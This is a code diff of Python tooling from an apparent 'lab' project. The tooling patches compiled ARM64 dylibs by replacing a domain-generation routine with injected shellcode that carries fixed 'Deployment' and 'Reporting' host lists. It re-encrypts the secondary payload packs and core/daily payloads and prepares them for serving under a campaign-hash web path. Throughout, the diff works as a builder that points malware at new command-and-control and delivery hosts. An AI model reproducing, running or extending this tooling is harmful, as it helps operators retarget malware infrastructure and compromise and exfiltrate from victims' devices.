"dep_cf": dep_cf,
|
||||
"rep_cf": rep_cf,
|
||||
"dep_table": dep_table,
|
||||
"rep_table": rep_table,
|
||||
}
|
||||
|
||||
for idx, kind, name in pending:
|
||||
p = entry + idx * 4
|
||||
if kind.startswith("adr"):
|
||||
rd = int(kind[3:])
|
||||
code[idx] = _enc_adr(rd, p, abs_map[name])
|
||||
continue
|
||||
target = labels[name]
|
||||
imm19 = (target - p) // 4
|
||||
if kind == "b":
|
||||
code[idx] = _enc_b(p, target)
|
||||
elif kind.startswith("cbz"):
|
||||
rt = int(kind[3:])
|
||||
code[idx] = 0x34000000 | ((imm19 & 0x7FFFF) << 5) | rt
|
||||
elif kind.startswith("cbnz"):
|
||||
rt = int(kind[4:])
|
||||
code[idx] = 0x35000000 | ((imm19 & 0x7FFFF) << 5) | rt
|
||||
else:
|
||||
raise SystemExit(f"{label}: bad fixup {kind}")
|
||||
|
||||
payload = b"".join(struct.pack("<I", ins) for ins in code) + dep_pack + rep_pack
|
||||
if len(payload) > avail:
|
||||
raise SystemExit(
|
||||
f"{label}: need {len(payload)} bytes, only {avail} free in DGA region"
|
||||
)
|
||||
|
||||
new_blob = bytearray(blob)
|
||||
new_blob[entry : entry + avail] = payload + b"\x00" * (avail - len(payload))
|
||||
return bytes(new_blob)
|
||||
|
||||
|
||||
def patch_fixed_domains_in_dylib(
|
||||
data: bytes,
|
||||
deployment_domains: list[str],
|
||||
reporting_domains: list[str],
|
||||
*,
|
||||
deployment_seed: str,
|
||||
reporting_seed: str,
|
||||
label: str,
|
||||
) -> bytes:
|
||||
dep = parse_domain_list(deployment_domains, label="deployment")
|
||||
rep = parse_domain_list(reporting_domains, label="reporting")
|
||||
dep_pack, rep_pack = pack_domain_tables(dep, rep)
|
||||
out = bytearray(data)
|
||||
seed_dep = pack_seed(deployment_seed)
|
||||
seed_rep = pack_seed(reporting_seed)
|
||||
|
||||
for si, sl in enumerate(iter_slices(data)):
|
||||
info = _parse_slice(bytes(out), sl)
|
||||
# re-parse from current out
|
||||
info = _parse_slice(bytes(out), sl)
|
||||
blob = info.blob
|
||||
entry, body, end = _discover_dga(blob)
|
||||
|
||||
dep_cs = blob.find(seed_dep)
|
||||
rep_cs = blob.find(seed_rep)
|
||||
if dep_cs < 0 or rep_cs < 0:
|
||||
dep_cs = blob.find(OLD_DEP)
|
||||
rep_cs = blob.find(OLD_REP)
|
||||
if dep_cs < 0 or rep_cs < 0:
|
||||
raise SystemExit(f"{label} slice{si}: seed cstrings not found")
|
||||
|
||||
dep_cf = _find_cfstring_for_cstring(info, dep_cs)
|
||||
rep_cf = _find_cfstring_for_cstring(info, rep_cs)
|
||||
runtime = _resolve_runtime_stubs(blob, body, end)
|
||||
stubs = {
|
||||
**runtime,
|
||||
"isEqualToString": _find_stub_for_selector(info, b"isEqualToString:"),
|
||||
"arrayWithCapacity": _find_stub_for_selector(info, b"arrayWithCapacity:"),
|
||||
"addObject": _find_stub_for_selector(info, b"addObject:"),
|
||||
"stringWithUTF8": _find_stub_for_selector(info, b"stringWithUTF8String:"),
|
||||
}
|
||||
class_array, class_string = _find_classrefs(info, body)
|
||||
patched = _apply_shellcode(
|
||||
blob,
|
||||
entry=entry,
|
||||
end=end,
|
||||
stubs=stubs,
|
||||
class_array=class_array,
|
||||
class_string=class_string,
|
||||
dep_cf=dep_cf,
|
||||
rep_cf=rep_cf,
|
||||
dep_pack=dep_pack,
|
||||
rep_pack=rep_pack,
|
||||
label=f"{label}/slice{si}",
|
||||
)
|
||||
out[sl.file_offset : sl.file_offset + sl.size] = patched
|
||||
print(
|
||||
f"{label} slice{si}: fixed domains @ {entry:#x}..{end:#x} "
|
||||
f"dep={len(dep)} rep={len(rep)} arm64e={info.is_arm64e}"
|
||||
)
|
||||
|
||||
return bytes(out)
|
||||
+37
-14
@@ -1,5 +1,5 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Reset lab-root web/ + sync/ from source/, then patch_all --apply (new DGA seeds/domains)."""
|
||||
"""Reset server/public web/ + sync/ from source/, then patch_all --apply."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
@@ -12,6 +12,7 @@ from pathlib import Path
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
LAB_ROOT = TOOLS.parent
|
||||
SOURCE_ROOT = LAB_ROOT / "source"
|
||||
APPLY_ROOT = LAB_ROOT / "server" / "public"
|
||||
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
|
||||
|
||||
|
||||
@@ -29,8 +30,8 @@ def replace_tree(src: Path, dst: Path) -> None:
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description=(
|
||||
"Copy source/web + source/sync to coruna-lab root, then run "
|
||||
"patch_all.py --apply --root <lab-root> (fresh Deployment/Reporting domains)."
|
||||
"Copy source/web + source/sync to server/public, then run "
|
||||
"patch_all.py --apply --root server/public."
|
||||
)
|
||||
)
|
||||
parser.add_argument(
|
||||
@@ -41,20 +42,35 @@ def main() -> int:
|
||||
"--reporting-seed",
|
||||
help="optional; forwarded to patch_all (default: random)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--deployment-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
help="fixed Deployment hosts (comma-separated or repeatable)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--reporting-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
help="fixed Reporting hosts (comma-separated or repeatable)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"-n",
|
||||
"--count",
|
||||
type=int,
|
||||
default=5,
|
||||
help="DGA candidates to print per pool (default 5)",
|
||||
help="DGA candidates to print when not using fixed domains (default 5)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--skip-patch",
|
||||
action="store_true",
|
||||
help="only copy source trees to lab root; do not run patch_all",
|
||||
help="only copy source trees to server/public; do not run patch_all",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
if bool(args.deployment_domains) != bool(args.reporting_domains):
|
||||
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
||||
|
||||
src_web = SOURCE_ROOT / "web"
|
||||
src_sync = SOURCE_ROOT / "sync"
|
||||
if not (src_web / CAMPAIGN_HASH).is_dir():
|
||||
@@ -62,12 +78,13 @@ def main() -> int:
|
||||
if not src_sync.is_dir():
|
||||
raise SystemExit(f"missing source sync: {src_sync}")
|
||||
|
||||
dst_web = LAB_ROOT / "web"
|
||||
dst_sync = LAB_ROOT / "sync"
|
||||
APPLY_ROOT.mkdir(parents=True, exist_ok=True)
|
||||
dst_web = APPLY_ROOT / "web"
|
||||
dst_sync = APPLY_ROOT / "sync"
|
||||
|
||||
print("=== reset lab root from source ===")
|
||||
print("=== reset server/public from source ===")
|
||||
print(f"from: {SOURCE_ROOT}")
|
||||
print(f"to: {LAB_ROOT}/{{web,sync}}")
|
||||
print(f"to: {APPLY_ROOT}/{{web,sync}}")
|
||||
replace_tree(src_web, dst_web)
|
||||
replace_tree(src_sync, dst_sync)
|
||||
print(f"copied web/ ({CAMPAIGN_HASH}) + sync/")
|
||||
@@ -81,7 +98,7 @@ def main() -> int:
|
||||
str(TOOLS / "patch_all.py"),
|
||||
"--apply",
|
||||
"--root",
|
||||
str(LAB_ROOT),
|
||||
str(APPLY_ROOT),
|
||||
"-n",
|
||||
str(args.count),
|
||||
]
|
||||
@@ -89,21 +106,27 @@ def main() -> int:
|
||||
cmd += ["--deployment-seed", args.deployment_seed]
|
||||
if args.reporting_seed:
|
||||
cmd += ["--reporting-seed", args.reporting_seed]
|
||||
for item in args.deployment_domains:
|
||||
cmd += ["--deployment-domains", item]
|
||||
for item in args.reporting_domains:
|
||||
cmd += ["--reporting-domains", item]
|
||||
|
||||
print()
|
||||
print("=== patch_all --apply ===")
|
||||
print("+", " ".join(cmd), flush=True)
|
||||
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
|
||||
|
||||
out_root = APPLY_ROOT / "out"
|
||||
print()
|
||||
print("=== ready ===")
|
||||
print(f"web: {dst_web / CAMPAIGN_HASH}")
|
||||
print(f"sync: {dst_sync}")
|
||||
print(f"seeds: {LAB_ROOT / 'out' / 'seeds.json'}")
|
||||
print(f"domains: {LAB_ROOT / 'out' / 'domains.json'}")
|
||||
print(f"seeds: {out_root / 'seeds.json'}")
|
||||
print(f"domains: {out_root / 'domains.json'}")
|
||||
print()
|
||||
print("serve example:")
|
||||
print(f" cd {LAB_ROOT} && python3 -m http.server 8765 --bind 0.0.0.0")
|
||||
print("served by Laravel public:")
|
||||
print(f" /web/{CAMPAIGN_HASH}/support.html")
|
||||
print(" /sync/daily.html")
|
||||
return 0
|
||||
|
||||
|
||||
|
||||
+96
-30
@@ -1,17 +1,20 @@
|
||||
#!/usr/bin/env python3
|
||||
"""All-in-one: generate seeds, rebuild secondary packs + core/daily, print DGA domains."""
|
||||
"""All-in-one: patch secondary packs + core/daily (DGA seeds or fixed domain lists)."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import secrets
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
LAB_ROOT = TOOLS.parent
|
||||
SOURCE_ROOT = LAB_ROOT / "source"
|
||||
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
|
||||
|
||||
|
||||
def gen_seed() -> str:
|
||||
@@ -24,20 +27,53 @@ def run(cmd: list[str]) -> None:
|
||||
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
|
||||
|
||||
|
||||
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
||||
skip = {"_bak", "__pycache__", ".DS_Store"}
|
||||
return {n for n in names if n in skip or n.endswith(".pyc")}
|
||||
|
||||
|
||||
def ensure_working_tree(root: Path) -> None:
|
||||
"""If web/sync missing under root, copy from source/ (same as new_project --skip-patch)."""
|
||||
camp = root / "web" / CAMPAIGN_HASH
|
||||
sync = root / "sync"
|
||||
if camp.is_dir() and sync.is_dir():
|
||||
return
|
||||
src_web = SOURCE_ROOT / "web"
|
||||
src_sync = SOURCE_ROOT / "sync"
|
||||
if not (src_web / CAMPAIGN_HASH).is_dir() or not src_sync.is_dir():
|
||||
raise SystemExit(
|
||||
f"missing working tree and source template.\n"
|
||||
f"expected: {src_web / CAMPAIGN_HASH} and {src_sync}"
|
||||
)
|
||||
print("=== bootstrap working tree from source/ ===")
|
||||
for src, dst in ((src_web, root / "web"), (src_sync, root / "sync")):
|
||||
if dst.exists():
|
||||
shutil.rmtree(dst)
|
||||
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
|
||||
print(f"copied {src.relative_to(LAB_ROOT)} -> {dst}")
|
||||
print()
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description=(
|
||||
"Generate Deployment/Reporting seeds, run patch_secondary_packs → "
|
||||
"patch_core → compute_dga_domains, print final domains."
|
||||
"Patch type0x01 + core/daily. Use either DGA seeds (default random) "
|
||||
"or fixed --deployment-domains / --reporting-domains."
|
||||
)
|
||||
)
|
||||
parser.add_argument("--deployment-seed", help="optional; default: random 32 hex")
|
||||
parser.add_argument("--reporting-seed", help="optional; default: random 32 hex")
|
||||
parser.add_argument(
|
||||
"--deployment-seed",
|
||||
help="optional; default: random 32 hex chars",
|
||||
"--deployment-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
help="fixed Deployment hosts (comma-separated or repeatable)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--reporting-seed",
|
||||
help="optional; default: random 32 hex chars",
|
||||
"--reporting-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
help="fixed Reporting hosts (comma-separated or repeatable)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--root",
|
||||
@@ -47,24 +83,29 @@ def main() -> int:
|
||||
parser.add_argument(
|
||||
"--apply",
|
||||
action="store_true",
|
||||
help="pass --apply to patch_secondary_packs and patch_core (write into --root)",
|
||||
help="write into --root web/ + sync/",
|
||||
)
|
||||
parser.add_argument(
|
||||
"-n",
|
||||
"--count",
|
||||
type=int,
|
||||
default=5,
|
||||
help="DGA candidates to print per pool (default 5)",
|
||||
help="DGA candidates to print when not using fixed domains (default 5)",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.apply and not args.root:
|
||||
raise SystemExit("--apply requires --root <project-dir>")
|
||||
if bool(args.deployment_domains) != bool(args.reporting_domains):
|
||||
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
||||
|
||||
if args.apply and args.root:
|
||||
ensure_working_tree(args.root.resolve())
|
||||
|
||||
fixed_mode = bool(args.deployment_domains)
|
||||
dep = args.deployment_seed or gen_seed()
|
||||
rep = args.reporting_seed or gen_seed()
|
||||
if dep == rep:
|
||||
# avoid accidental identical pools
|
||||
while rep == dep:
|
||||
rep = gen_seed()
|
||||
|
||||
@@ -76,6 +117,7 @@ def main() -> int:
|
||||
{
|
||||
"deployment_seed": dep,
|
||||
"reporting_seed": rep,
|
||||
"mode": "fixed_domains" if fixed_mode else "dga",
|
||||
},
|
||||
indent=2,
|
||||
)
|
||||
@@ -83,6 +125,7 @@ def main() -> int:
|
||||
)
|
||||
|
||||
print("=== seeds ===")
|
||||
print(f"mode: {'fixed_domains' if fixed_mode else 'dga'}")
|
||||
print(f"deployment: {dep}")
|
||||
print(f"reporting: {rep}")
|
||||
print(f"saved: {seeds_path}")
|
||||
@@ -93,6 +136,12 @@ def main() -> int:
|
||||
py = sys.executable
|
||||
apply = ["--apply"] if args.apply else []
|
||||
root = ["--root", str(args.root.resolve())] if args.root else []
|
||||
domain_args: list[str] = []
|
||||
if fixed_mode:
|
||||
for item in args.deployment_domains:
|
||||
domain_args += ["--deployment-domains", item]
|
||||
for item in args.reporting_domains:
|
||||
domain_args += ["--reporting-domains", item]
|
||||
|
||||
print("=== 1/3 patch_secondary_packs ===")
|
||||
run(
|
||||
@@ -103,6 +152,7 @@ def main() -> int:
|
||||
dep,
|
||||
"--reporting-seed",
|
||||
rep,
|
||||
*domain_args,
|
||||
*root,
|
||||
*apply,
|
||||
]
|
||||
@@ -118,33 +168,49 @@ def main() -> int:
|
||||
dep,
|
||||
"--reporting-seed",
|
||||
rep,
|
||||
*domain_args,
|
||||
*root,
|
||||
*apply,
|
||||
]
|
||||
)
|
||||
print()
|
||||
|
||||
print("=== 3/3 compute_dga_domains ===")
|
||||
result = subprocess.run(
|
||||
[
|
||||
py,
|
||||
str(TOOLS / "compute_dga_domains.py"),
|
||||
"--deployment-seed",
|
||||
dep,
|
||||
"--reporting-seed",
|
||||
rep,
|
||||
"-n",
|
||||
str(args.count),
|
||||
"--json",
|
||||
],
|
||||
cwd=str(LAB_ROOT),
|
||||
check=True,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
)
|
||||
domains = json.loads(result.stdout)
|
||||
domains_path = out_root / "domains.json"
|
||||
domains_path.write_text(json.dumps(domains, indent=2) + "\n")
|
||||
if fixed_mode:
|
||||
# Prefer MANIFEST from patch_core output
|
||||
manifest_path = out_root / "sync" / "MANIFEST.json"
|
||||
if not manifest_path.is_file():
|
||||
manifest_path = LAB_ROOT / "out" / "sync" / "MANIFEST.json"
|
||||
manifest = json.loads(manifest_path.read_text())
|
||||
domains = {
|
||||
"mode": "fixed_domains",
|
||||
"deployment": {"seed": dep, "domains": manifest["deployment_domains"]},
|
||||
"reporting": {"seed": rep, "domains": manifest["reporting_domains"]},
|
||||
}
|
||||
domains_path.write_text(json.dumps(domains, indent=2) + "\n")
|
||||
print("=== 3/3 fixed domains ===")
|
||||
else:
|
||||
print("=== 3/3 compute_dga_domains ===")
|
||||
result = subprocess.run(
|
||||
[
|
||||
py,
|
||||
str(TOOLS / "compute_dga_domains.py"),
|
||||
"--deployment-seed",
|
||||
dep,
|
||||
"--reporting-seed",
|
||||
rep,
|
||||
"-n",
|
||||
str(args.count),
|
||||
"--json",
|
||||
],
|
||||
cwd=str(LAB_ROOT),
|
||||
check=True,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
)
|
||||
domains = json.loads(result.stdout)
|
||||
domains["mode"] = "dga"
|
||||
domains_path.write_text(json.dumps(domains, indent=2) + "\n")
|
||||
|
||||
print()
|
||||
print("=== final domains ===")
|
||||
|
||||
+39
-2
@@ -23,6 +23,7 @@ from _common import (
|
||||
tree_root,
|
||||
validate_seed_arg,
|
||||
)
|
||||
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
|
||||
import _common
|
||||
|
||||
import sys
|
||||
@@ -93,6 +94,18 @@ def main() -> int:
|
||||
)
|
||||
parser.add_argument("--deployment-seed", required=True)
|
||||
parser.add_argument("--reporting-seed", required=True)
|
||||
parser.add_argument(
|
||||
"--deployment-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
help="fixed Deployment hosts (repeat or comma-separated). Overrides DGA output.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--reporting-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
help="fixed Reporting hosts (repeat or comma-separated). Overrides DGA output.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--root",
|
||||
type=Path,
|
||||
@@ -111,6 +124,18 @@ def main() -> int:
|
||||
args = parser.parse_args()
|
||||
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
|
||||
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
|
||||
fixed_dep = (
|
||||
parse_domain_list(args.deployment_domains, label="deployment")
|
||||
if args.deployment_domains
|
||||
else None
|
||||
)
|
||||
fixed_rep = (
|
||||
parse_domain_list(args.reporting_domains, label="reporting")
|
||||
if args.reporting_domains
|
||||
else None
|
||||
)
|
||||
if (fixed_dep is None) ^ (fixed_rep is None):
|
||||
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
||||
|
||||
if args.root:
|
||||
set_tree_root(args.root)
|
||||
@@ -137,6 +162,15 @@ def main() -> int:
|
||||
expect_rep=2,
|
||||
label="core/tmp.dylib",
|
||||
)
|
||||
if fixed_dep is not None and fixed_rep is not None:
|
||||
patched = patch_fixed_domains_in_dylib(
|
||||
patched,
|
||||
fixed_dep,
|
||||
fixed_rep,
|
||||
deployment_seed=dep,
|
||||
reporting_seed=rep,
|
||||
label="core/tmp.dylib",
|
||||
)
|
||||
digest = sha256_hex(patched)
|
||||
size = len(patched)
|
||||
password = derive_archive_password()
|
||||
@@ -161,15 +195,18 @@ def main() -> int:
|
||||
json.dumps(json.loads(config_bytes), indent=2) + "\n"
|
||||
)
|
||||
|
||||
dep_domains = fixed_dep if fixed_dep is not None else generate_domains(dep, 5)
|
||||
rep_domains = fixed_rep if fixed_rep is not None else generate_domains(rep, 5)
|
||||
manifest = {
|
||||
"deployment_seed": dep,
|
||||
"reporting_seed": rep,
|
||||
"mode": "fixed_domains" if fixed_dep is not None else "dga",
|
||||
"core_sha256": digest,
|
||||
"core_size": size,
|
||||
"daily_sha256": sha256_hex(daily_wire),
|
||||
"erupt_flee_sha256": sha256_hex(erupt_wire),
|
||||
"deployment_domains": generate_domains(dep, 5),
|
||||
"reporting_domains": generate_domains(rep, 5),
|
||||
"deployment_domains": dep_domains,
|
||||
"reporting_domains": rep_domains,
|
||||
}
|
||||
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
|
||||
|
||||
|
||||
@@ -20,6 +20,7 @@ from _common import (
|
||||
tree_root,
|
||||
validate_seed_arg,
|
||||
)
|
||||
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
|
||||
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
|
||||
import _common
|
||||
|
||||
@@ -56,9 +57,33 @@ def main() -> int:
|
||||
action="store_true",
|
||||
help="also copy outputs into <root>/web/.../",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--deployment-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
help="fixed Deployment hosts (comma-separated or repeatable); skips DGA",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--reporting-domains",
|
||||
action="append",
|
||||
default=[],
|
||||
help="fixed Reporting hosts (comma-separated or repeatable); skips DGA",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
|
||||
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
|
||||
fixed_dep = (
|
||||
parse_domain_list(args.deployment_domains, label="deployment")
|
||||
if args.deployment_domains
|
||||
else None
|
||||
)
|
||||
fixed_rep = (
|
||||
parse_domain_list(args.reporting_domains, label="reporting")
|
||||
if args.reporting_domains
|
||||
else None
|
||||
)
|
||||
if bool(fixed_dep) != bool(fixed_rep):
|
||||
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
||||
|
||||
if args.root:
|
||||
set_tree_root(args.root)
|
||||
@@ -79,7 +104,7 @@ def main() -> int:
|
||||
for group, path in GROUP_DYLIBS.items():
|
||||
if not path.is_file():
|
||||
raise SystemExit(f"missing source dylib: {path}")
|
||||
patched[group] = patch_seeds_in_dylib(
|
||||
data = patch_seeds_in_dylib(
|
||||
path.read_bytes(),
|
||||
dep,
|
||||
rep,
|
||||
@@ -87,6 +112,16 @@ def main() -> int:
|
||||
expect_rep=1,
|
||||
label=path.name,
|
||||
)
|
||||
if fixed_dep is not None and fixed_rep is not None:
|
||||
data = patch_fixed_domains_in_dylib(
|
||||
data,
|
||||
fixed_dep,
|
||||
fixed_rep,
|
||||
deployment_seed=dep,
|
||||
reporting_seed=rep,
|
||||
label=path.name,
|
||||
)
|
||||
patched[group] = data
|
||||
print(
|
||||
f"group {group}: patched {path.name} "
|
||||
f"sha256={sha256_hex(patched[group])[:16]}… size={len(patched[group])}"
|
||||
@@ -121,6 +156,9 @@ def main() -> int:
|
||||
manifest = {
|
||||
"deployment_seed": dep,
|
||||
"reporting_seed": rep,
|
||||
"mode": "fixed_domains" if fixed_dep is not None else "dga",
|
||||
"deployment_domains": fixed_dep,
|
||||
"reporting_domains": fixed_rep,
|
||||
"files": built,
|
||||
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user